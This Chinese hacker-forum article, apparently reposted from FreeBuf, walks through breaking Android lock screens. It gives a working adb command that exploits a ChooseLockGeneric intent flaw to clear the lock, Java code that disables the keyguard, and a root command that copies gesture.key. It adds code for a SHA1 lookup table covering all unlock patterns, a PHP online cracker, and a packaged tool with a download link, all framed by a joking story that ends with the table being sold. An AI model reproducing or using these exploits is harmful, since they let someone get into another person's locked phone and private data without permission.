您现在的位置:首页 >> 电脑安全 >> 终端安全 >> 内容

Android锁屏破解研究

时间:2014/4/21 20:15:21 点击:

  核心提示: 说明: 本文章由中国红客联盟(cnhonker)攻防区版主:b41k3r 和 论坛会员:冷爱 两人合作所写,经两人同意由我发送到FreeBuf,感谢FreeBuf给我们提供一个良好的交流环境。...
说明: 本文章由中国红客联盟(cnhonker)攻防区版主:b41k3r 和 论坛会员:冷爱 两人合作所写,经两人同意由我发送到FreeBuf,感谢FreeBuf给我们提供一个良好的交流环境。此文章为b41k3r 刘尼玛系列文章的《Android锁屏破解研究》 关于其他篇目,以后再共享。最后吐槽下,b41k3r每一篇刘尼玛系列都有人躺枪,这篇我和kend都不幸中招。

b41k3r部分:

[照例先发牢骚]

由于发帖神的影响,我手中的很多东西都不敢发出来,这次我给发帖神烧了三天高香,希望他可以饶恕我,让我发了这个帖子不要出事,万一发完仍然倒霉了,那我也认了.各位,俺这是用绳命在发帖啊!
我在研究完这个东西之后,把其中的彩虹表发给冷爱,他据此做了一个gesture.key的php在线破解,他的程序会在此贴的后面发布,所以这次其实是联合发帖.
[刘尼玛的好基友]

我是Q博士,这次的事情是刘尼玛用私人身份请求我帮忙,和情报工作无关,刘尼玛从小穿一条裤子长大的好基友kend,前几天重设自己的安卓手机密码时,居然把新设的锁屏图案忘记了,为此他的姘头刘尼玛来找我,希望我帮他破解…

0×01 最新安卓解锁漏洞

在破解之前,我们先来认识一个比较新的安卓漏洞.这个漏洞于2013年12月公布,影响4.3及以下所有系统,漏洞产生于com.android.settings.ChooseLockGeneric这个Activity中,一个名为mPasswordConfirmed的boolean被暴露,导致可以从外部触发解锁进程而无需确认解锁密码,具体看下面的分析:
com.android.settings.ChooseLockGeneric是负责更改系统的解锁方式的类,在用户要更改原先的锁定图案或密码时,需要进行重输确认, 确认后mPasswordConfirmed的值为true,但这个参数被暴露,以至于可以从外部更改,使得系统误认为已经确认了密码,从而清除锁屏.我们看看源码:

 

…………..
private static final String CONFIRM_CREDENTIALS = "confirm_credentials";
………….
private boolean mPasswordConfirmed = false;
…………..
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
……………
final boolean confirmCredentials = getActivity().getIntent()
.getBooleanExtra(CONFIRM_CREDENTIALS, true);
mPasswordConfirmed = !confirmCredentials;


我们只要将CONFIRM_CREDENTIALS设置为false,即可使得mPasswordConfirmed为true,然后会发生什么呢?接着往下看:


 

………………
if (mPasswordConfirmed) {
        updatePreferencesOrFinish();
}
………………
private void updatePreferencesOrFinish() {
Intent intent = getActivity().getIntent();
int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
if (quality == -1) {
quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
MutableBoolean allowBiometric = new MutableBoolean(false);
quality = upgradeQuality(quality, allowBiometric);
final PreferenceScreen prefScreen = getPreferenceScreen();
if (prefScreen != null) {
prefScreen.removeAll();
}
addPreferencesFromResource(R.xml.security_settings_picker);
disableUnusablePreferences(quality, allowBiometric);
} else {
updateUnlockMethodAndFinish(quality, false);
}
}
……………………
void updateUnlockMethodAndFinish(int quality, boolean disabled) {
if (!mPasswordConfirmed) {
throw new IllegalStateException("Tried to update password without confirming it");
}
final boolean isFallback = getActivity().getIntent().getBooleanExtra(LockPatternUtils.LOCK
SCREEN_BIOMETRIC_WEAK_FALLBACK, false);
quality = upgradeQuality(quality, null);
if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
int minLength = mDPM.getPasswordMinimumLength(null);
if (minLength < MIN_PASSWORD_LENGTH) {
minLength = MIN_PASSWORD_LENGTH;
}
final int maxLength = mDPM.getPasswordMaximumLength(quality);
Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
intent.putExtra(CONFIRM_CREDENTIALS, false);
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
intent.putExtra("key_lock_method", "pattern");
intent.putExtra(CONFIRM_CREDENTIALS, false);
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
Intent intent = getBiometricSensorIntent();
mFinishPending = true;
startActivity(intent);
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
mChooseLockSettingsHelper.utils().clearLock(false);
mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
getActivity().setResult(Activity.RESULT_OK);
finish();
} else {
finish();
}
}



先是调用updatePreferencesOrFinish,然后是updateUnlockMethodAndFinish,在这个函数中判断系统的锁屏密码策略,android系统一共定义有以下几种密码策略:


 

PASSWORD_QUALITY_ALPHABETIC    用户输入的密码必须要有字母(或者其他字符)
PASSWORD_QUALITY_ALPHANUMERIC  用户输入的密码必须要有字母和数字
PASSWORD_QUALITY_NUMERIC       用户输入的密码必须要有数字
PASSWORD_QUALITY_SOMETHING     由设计人员决定的
PASSWORD_QUALITY_UNSPECIFIED   对密码没有要求


前几种都是给设计锁屏软件的程序员用的,系统默认的策略,包括解锁图案(因为解锁图案无法设定其他策略),都是最后一种,即”对密码没有要求”,而从上面代码可以看出,如果检测到是这种方式,则无需任何验证,直接清除密码.
所以,触发这个漏洞的方式很简单,只要从外部启动ChooseLockGeneric,设置mPasswordConfirmed为true,并设置锁屏密码策略为PASSWORD_QUALITY_UNSPECIFIED,系统会自己清除密码.
于是接下来有两条路可走:
一是编写一个简单的安卓程序.在Oncreate中输入以下代码,编译后首先确认手机已打开调试模式,然后在电脑上安装好驱动, 用adb传送到手机运行:

 

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric")); //启动ChooseLockGeneric"
intent.putExtra("confirm_credentials", false);  //confirm_credentials为false,mPasswordConfirmed为true
intent.putExtra("lockscreen.password_type",0);  //lockscreen.password_type为0代表PASSWORD_QUALITY_UNSPECIFIED
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);



手机锁屏被立刻清除,在有些手机上会弹出错误提示,但其实已经成功了:


 

二是直接使用adb,输入以下命令:

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

然后重启手机即可.
在最新的安卓4.4中,这个漏洞被修复, mPasswordConfirmed被设置为只有特定的Activity才可以更改其值:

………………….
public static class InternalActivity extends ChooseLockGeneric {
}
………………….
final boolean confirmCredentials = getActivity().getIntent()
.getBooleanExtra(CONFIRM_CREDENTIALS, true);
if (getActivity() instanceof ChooseLockGeneric.InternalActivity) {
mPasswordConfirmed = !confirmCredentials;
}
用InternalActivity继承了ChooseLockGeneric,只有它才可以更改mPasswordCOnfi
rmed.

0×02 一个不算漏洞的漏洞

上面的第一种方法有个致命的问题,那就是在已锁定的状态下,启动的程序是无法运行的,如果要让我们编写的触发程序正常运行,需要使用到一个由来已久的奇怪漏洞.这个漏洞首先由wooyun披露(http://www.wooyun.org/bugs/wooyun-2010-09978),说它是漏洞,因为它可以完全屏蔽安卓系统的屏幕锁定,用我们自己的程序覆盖在其上层,说它不是漏洞,因为它是谷歌官方提供的API,很莫名其妙的API…
在android.app.KeyguardManger中,谷歌提供了一个子类KeyguardLock,我们在自己编写的程序中调用其disableKeyguard方法,就可以使程序完全显示在锁定界面的上层:

import android.app.KeyguardManager;
import android.app.KeyguardManager.KeyguardLock;
………………………
KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SER
VICE);
if(manager.inKeyguardRestrictedInputMode()){
KeyguardLock keyguard = manager.newKeyguardLock(getLocalClassName());
keyguard.disableKeyguard();
}

经过测试.无论何种锁定方法均有效,运行后按Home键完全没有反应,按返回键直接回到桌面,但过一段时间,手机锁屏还是会自己出现,不过这段时间足够我们做一些事情了,比如利用前面的解锁漏洞.

0×03 gesture.key文件的秘密

 

说了一大堆都是关于解锁的,但都是讲的过程,利用代码来触发漏洞,那么问题就来了,无论用什么方法,我们最终还是要操作这个锁屏图案的,可是它到底保存在哪里?以什么方式储存的?
实际上我探究这个问题是从一篇报道开始的,这篇东西已经在网上被转载的到处都是了,随便百度一下就有一大堆:


 

我很奇怪的是,破解各种设备和账号如探囊取物一般的FBI,高手如云的FBI,居然搞不定一台小小的手机,抱着极度怀疑的心态我进行了研究,结果发现这条所谓的新闻完全是彻头彻尾的扯淡!
当然通过前面的部分你们已经看到了,几乎是秒破,但这只是删除了解锁图案,如果我要获取解锁图案该怎么办?
首先要知道这个图案储存的位置,它存在于/data/system目录中的gesture.key文件中,只有root后才可以读取,用16进制编辑器打开后,发现它是一个20字节的文件:
 

很眼熟,让我想到了SHA1,经过验证,确实是这样.安卓的解锁图案一共有九个点,按顺序设定值为0×00-0×08(注意这里是十六进制),如下图所示:

这九个值依据设定好的解锁图案的顺序,依次排列,排列结果以hex的形式进
行SHA1加密,然后以byte形式存储于gesture.key中.比如上面十六进制编辑器打开的文件,密文是
6a062b9b3452e366407181a1bf92ea73e9ed4c48,原文实际上是00010204060708,注意这是十六进制,不
是十进制,这样排列下来,是一个
Z字形图案.
那么一个想法就产生了,我们可以把所有可能的图案全部转换成值,然后以SHA1加密,就可以制作一个彩虹表:


 

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class sha1Class {
        
    private static final char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5',
            '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };

        public sha1Class() {

        }
        
        /**
         * 十六进制字符串SHA1
         * @param hexData
         * @return
         */
        public String sha1code(String hexData){
                byte[] data = hexStringToByteArray(hexData);
                MessageDigest md = null;
                try {
                        md = MessageDigest.getInstance("SHA-1");
                } catch (NoSuchAlgorithmException e) {
                        e.printStackTrace();
                }
                md.update(data, 0, data.length);
                byte[] sha1hash = md.digest();
                return getFormattedText(sha1hash);
        }
        
        /**
         * 把十六进制字符串转换成byte
         * @param s
         * @return
         */
        private static byte[] hexStringToByteArray(String s) {
            int len = s.length();
            byte[] data = new byte[len / 2];
            for (int i = 0; i < len; i += 2) {
                data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
                                     + Character.digit(s.charAt(i+1), 16));
            }
            return data;
        }
        
        /**
         * 把byte转换成string
         * @param bytes
         * @return
         */
        private static String getFormattedText(byte[] bytes) {
                int len = bytes.length;
                StringBuilder buf = new StringBuilder(len * 2);
                for (int j = 0; j < len; j++) {
            buf.append(HEX_DIGITS[(bytes[j] >> 4) & 0x0f]);
                        buf.append(HEX_DIGITS[bytes[j] & 0x0f]);
                }
                        return buf.toString();
                }
}



上面的类实例化之后,只需调用函数sha1code即可获得密文.具体过程是先把原文的十六进制字符串转换成byte,然后SHA1,再将结果转换成string.
安卓解锁图案的规则是至少4个点,至多9个点,那么如此计算:
4个点的密码 9*8*7*6=3024
5个点的密码 9*8*7*6*5=115120
6个点的密码 9*8*7*6*5*4=60480
7个点的密码 9*8*7*6*5*4*3=181440
8个点的密码 9*8*7*6*5*4*3*2=362880
9个点的密码 9*8*7*6*5*4*3*2*1=362880
上述之总和为985824个密码,我们用上面给出的类,将这些密码全部
SHA1,然后把原文和密文都存储在数据库中,一个彩虹表就完成了,最终,我用sqlite制作的彩虹表大小为77mb.接下来只需编写程序,先把彩虹表
用adb拷贝到SD卡中,然后获取root权限,读取gesture.key文件,然后与数据库中的密文进行hash碰撞,就可以得到密码,并且还原为解
锁图形.


 

/**
* 以root权限执行命令函数
* @param cmd
* @return
*/
private boolean runCmd(String cmd){  
        Process process = null;  
        DataOutputStream os = null;  
        try{  
                    process = Runtime.getRuntime().exec("su");  //请求root权限
                    os = new DataOutputStream(process.getOutputStream());  
                    os.writeBytes(cmd+ "\n");  
                    os.writeBytes("exit\n");  
                    os.flush();  
                    process.waitFor();  
          } catch (Exception e) {  
                      return false;  
} finally {  
                      try {  
                           if (os != null)   {  
                               os.close();  
                           }  
                               process.destroy();  
                          } catch (Exception e) {  
                          }  
                      }  
            return true;  
        }

…………………


String sd=Environment.getExternalStorageDirectory().getPath();
String code = "";
BufferedInputStream in;
runCmd("cat /data/system/gesture.key > /sdcard/gesture.key"); //首先获取root,然后拷贝文件到SD卡中
try {
                in = new BufferedInputStream(new FileInputStream(sd+"/gesture.key"));
                byte[] a = new byte[1024];  //byte方式读取并转换为string
                int count = -1;
                StringBuilder s1 = new StringBuilder(); 
                while ((count = in.read(a)) != -1) {  
                for (int i = 0; i < count; i++) {  
                convertByte2Hex(a[i], s1);  
                }  
          
        in.close(); 
        if (fileIsExists(sd+"/sha1.db")) //检测彩虹表是否存在
        {
                SQLiteDatabase db = openOrCreateDatabase(sd+"/sha1.db", Context.MODE_PRIVATE, null);  //连接彩虹表数据库
            Cursor c = db.rawQuery("SELECT * FROM sha1dic where sha1= ?", new String[]{s1.toString()});  
            while (c.moveToNext()) {  
            code = c.getString(c.getColumnIndex("code"));   //查表并获取原文
         }  
           c.close(); 
           db.close();  
}else
        {
            Toast toast = Toast.makeText(MainActivity.this,"没有找到彩虹表,请确认sha1.db是不是已经拷贝到了sd卡中!", Toast.LENGTH_SHORT); 
            toast.show();
        }
} catch (FileNotFoundException e) {
                e.printStackTrace();
} catch (IOException e) {
                e.printStackTrace();
}


 

0×04 综合出一个神器

上面介绍了三个和破解安卓锁屏有关的东西,我们现在要做的,就是综合它们各自的优点,制作出一个解锁神器来.
首先用adb把彩虹表传送到sd卡中,然后利用KeyguardLock屏蔽锁屏界面,显示我们的程序,程序中设计两个功能:还未root的手机使用解锁
漏洞解锁,已root的则直接读取gesture.key 并查表破解(当然已root也可以使用解锁漏洞).具体流程如下图所示:

程序的具体代码请看文后的下载地址,界面如下:
 


 

安装方法:

确认手机已经事先开了调试模式,然后在PC上建立如下批处理,安装好adb和手机驱动,并把彩虹表和解锁程序以及批处理都放在同一个目录中,运行批处理即可开启神器(sha1.db是彩虹表, puzzleUnlock.apk是解锁神器):

adb push sha1.db /sdcard/sha1.db
adb install puzzleUnlock.apk
adb shell am start -n com.baiker.puzzleunlock/com.baiker.puzzleunlock.MainActivity

由于绕过锁屏的方法并不完美,所以有些手机上可能没有反应,此时请重启手机,神器会自动运行,如果还不成功,请使用下面的ADB解锁法.
只利用PC解锁说明:

本来制作了一个PC版本,但其解锁原理仍然是通过ADB命令,所以觉得没有意义,就不公开了,如果用手机版无法成功,可以在PC上输入以下ADB命令:

adb shell am start -n 
com.android.settings/com.android.settings.ChooseLockGeneric --ez 
confirm_credentials false --ei lockscreen.password_type 0 
--activity-clear-task

如果成功,命令运行后重启手机,即可解锁.
0×05 测试

由于安卓平台的高度可定制性,各厂商的固件均不相同,所以神器并不能保证在所有品牌的设备上均有效,截止目前,共测试以下品牌:

Samsung: 4.0以上固件在pc上用ADB可以正常解锁,手机版无法绕过锁屏,4.0以下固件手机版可以绕过锁屏,但无法解锁.
小米: 手机版完全无法安装,PC上用ADB未测试.
魅族:完美破解
步步高:完美破解
波导:完美破解
Asus平板:完美破解

[kend已经走了]
刘尼玛拿到了我的解锁神器,不费吹灰之力的解开了手机,当他拿着手机兴冲冲地去找kend基友的时候,却发现人去屋空,询问邻居才知道,kend昨天晚上接到紧急通知,公司派他去国外出差,已经坐上了去马来西亚的飞机……
刘尼玛只好怅然而归.  ”看来,只有等他回来再给他了.” 回到家的刘尼玛一边自言自语,一边把手机收到抽屉里,然后坐到电脑前,饶有兴致的去研究他最喜欢的爱情动作片了.
而Q博士,也就是本人,在研究完神器之后,把其中的彩虹表单独卖给一个猥琐的菊花经销商,狠狠的赚了一笔…..
本文所涉及到的程序以及源码,还有本文的doc版下载地址:
http://pan.baidu.com/s/1sj33bTr

冷爱部分:

[故事总有个开端]

Kend突然消失,只留下一部加锁的手机,他的原配小猪怀疑kend已经有了小三了,本想直接删除gesture.key文件,又怕事后被kend发现。
只好以30朵菊花代价,请菊花经销商破解。为了最大利润,菊花经销商只用15朵代价和q博士购买彩虹表,再用1朵菊花请村头行乞的看尼魅写个简易的使用程
序。
0×01 程序的设计的构建。

从q博士那里购买彩虹表,用的是sqlite数据库。使用php脚本读数据库。(在php里有多种方案可以实现读写sqlite数据库。这里采用了sqlite3的方法)。

在php.ini 里面开启extension=php_sqlite3.dll ,和绘图功能 extension=php_gd2.dll

可以用<?phpphpinfo() ;?>查看是否开启成功。

程序的设计流程,上传key文件,脚本读取key文件的内容,再把读取到key和数据库里面配对,如果有配对就绘图,否则提示客户key文件错误。
0×2 解读细节

File.php

<?php
   class file{

    protected $file;
    public function __construct(&$file)
                       {
                                     $this->file=$file;
                                    
                                   }
    public function file_upload(){
                  
                            if($this->file['error']!=0)
                            {
                            return false;
                            }
                            if(!is_uploaded_file($this->file['tmp_name']))
                            {
                             return false;
                            }
                            if(filesize($this->file['tmp_name'])!=20)
                            {
                           
                            return false;
                            }
                            if($this->getkFileSuffix()!='key')
                            {
                             return false;
                            }
                            $path=dirname(__FILE__).'/../key/';
                            $name=$this->rename();
                            $path=$path.$name;
                            $status=move_uploaded_file($this->file['tmp_name'],$path);
                   if($status)
                            {
                             return $path;
                            }else
                            {
                            return false;
                            }
             }
   
    public function getkFileSuffix()
                       {
                                      $pos=strrpos($this->file['name'],'.');

                                     $suffix=substr($this->file['name'],$pos+1);
                                      return $suffix;
                                   }
   
    public function rename()
                          {
                                       $name= time();
                                          $type=$this->getkFileSuffix();
                                       $name=$name.'.'.$type;

                                          return$name;
                                      }
   }
?>

file 类里面构造函数__construct()引用传递一个文件信息的参数。该参数由$_FILES['file']得到,$_FILES['file']包含了文件上传的信息,上传状态,大小,临时路径,名字。
getkFileSuffix()函数取得上传文件的后缀(即最后一个.以后的文本)。
rename()用于构建一下文件名,以文件上传时间戳来命名
file_upload()函数对在要上传文件,分别检查上传状态,是否是合法的http上传文件大小,正常的情况下key的大小为20字节。和检测是否为key后缀。以上检测都合法的话,就把文件从tmp文件夹里面移到key文件夹下。

Key.php

class key{

  public function readEncryptionKey($path)
                              {
                                   $fHandle=fopen($path,'rb');
                                   $contents=fread($fHandle,1);
                                   $hex='';
                                   while(!feof($fHandle))
                                   {
                                   $a=ord($contents);
                                   $hex.=sprintf("%02x",$a);
                                   $contents=fread($fHandle,1);
                                   }
                                   fclose($fHandle);
                                   return $hex;
                             }

  public function getDecryptionKey($path)
                  {
                                $key= $this->readEncryptionKey($path);

                                   $sql="select* from sha1dic  where sha1='$key' ";

                                   $x=sqlite::getInstance();
                                   $result=$x->ExcuteQuery($sql);
                                   $code=$result['code'];

                                   return$this->formatKey($code);
                              }
                              
                              
  protected function formatKey($code)
                     {
                                       $i=1;
                                          $pwd='';
                                          while(isset($code[$i]))
                                          {

                                          $pwd=$pwd.$code[$i];
                                          $i=$i+2;
                                       }
                       

                                          return$pwd;
                       }

}

 

在这个类里面。readEncryptionKey函数,打开key文件,并且通过
fread函数,每次读取一个字节。通过ord函数,把读取到的字节转化为asc码,在通过sprintf把得到的asc码按16进制存储。通过hex变
量进行拼接。最后返回的就是key里面的字符
例如

file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml11\clip_image002.jpg

比如读取第一个字符,那么这个时候$content储存的是一个asc码为208的字符,用过ard就可以得到这个asc码(这个asc码是10进制的),接着通过sprintf,把数据格式化为16进制的,并且 保存在$key里面。

getDecryptionKey函数,读取key值,并且返回明文的密码。因为iq博士是木jj的,返回密码是是类似 01020506这里的。所以通过formatKey函数把多余的0去掉变成1256.

Sqlite.php

class sqlite{
  protected static $sqlite = null;

  protected $db;
  private function  __construct(){

   $path=dirname(__FILE__).'/../database/sha1.db';
    $this->db = new SQLite3($path);
  }
                     
  public static function getInstance(){
            

                     if(self::$sqlite instanceofsqlite )
                     {
                     
                        return self::$sqlite;
                     
                     }else{

                     self::$sqlite = newsqlite();
                     return self::$sqlite;
                     }
               
   
     }
        
  public function  ExcuteQuery($sql)
                  {
                               $result= $this->db->query($sql);
                               $res=$result->fetchArray(SQLITE3_ASSOC);
                               return $res;
                              }

}

用于读取sqlite数据库。getInstance函数实现了只有一个连接对象对sqlite数据库的连接。
ExcuteQuery函数用于执行传递进来的sql语句,并且返回得到的结果。
Image.php

header('Content-Type:image/jpeg');//用于通知浏览器接受数据的类型,以便显示
class image{
//这个数组保存了图片里面9个点的位置。以便用于绘图。

  protected $position=array(
       array('x'=>55,'y'=>160),
       array('x'=>215,'y'=>160),
       array('x'=>370,'y'=>160),
       array('x'=>55,'y'=>320),
       array('x'=>215,'y'=>320),
       array('x'=>370,'y'=>320),
       array('x'=>55,'y'=>480),
       array('x'=>215,'y'=>480),
       array('x'=>370,'y'=>480)     
);

protected $img;
protected $penColor;
  
  /*
   构造函数打开图片,返回文件实例。
   创建一个画笔和字符串的颜色
  */
  
  public function __construct()
  
         {

                 $this->img=imagecreatefromjpeg(dirname(__file__).'/../img/img.jpg');
                     $this->penColor=imagecolorallocate($this->img,255,0,0);

                 $this->strColor=imagecolorallocate($this->img,0,0,0);  


               }
      

  /**
   *绘画密码,输出密码
   *@param string 数据库得到的密码。
  */
      
  public function beginPaint($code)
  {     
   
       $i=0;
       while(isset($code[$i]))

         {

           $pos=intval($code[$i]);

          if($i>0)
              {
              $lastPos=intval($code[$i-1]);
              imageline($this->img,$this->position[$lastPos]['x'],$this->position[$lastPos]['y'],$this->position[$pos]['x'],$this->position[$pos]['y'],$this->penColor);

              }

        imagettftext($this->img,30,0,$this->position[$pos]['x'],$this->position[$pos]['y'],$this->strColor,dirname(__file__).'./simkai.ttf',$i+1);
//为了输出字体大小。我选择了自定义的字体。
        

          $i=$i+1;

         }
              imagejpeg($this->img);
  }  


}

Image.php 实现绘画图片。并且输出图片

Index.php

……
      ?>

<form action="./crack.php" method="post" enctype="multipart/form-data">

<input type="file" name="file"  />

<input type="submit" name="submit" value="Submit" />

</form>

…….

在index里面做一个表单,定义数据格式,数据接收路径和数据提交方法。

Crack.php

include_once './model/file.php';

 $file= new file($_FILES['file']);

 $path=$file->file_upload();

 if(!$path)

 {

   echo '上传文件失败,请确认是否为key文件!';

   exit();

 }
 include_once './model/key.php';
  $status=file_exists($path);
  if(!$status)

  {

  echo '文件不存在,请确认好文件地址。';

  exit();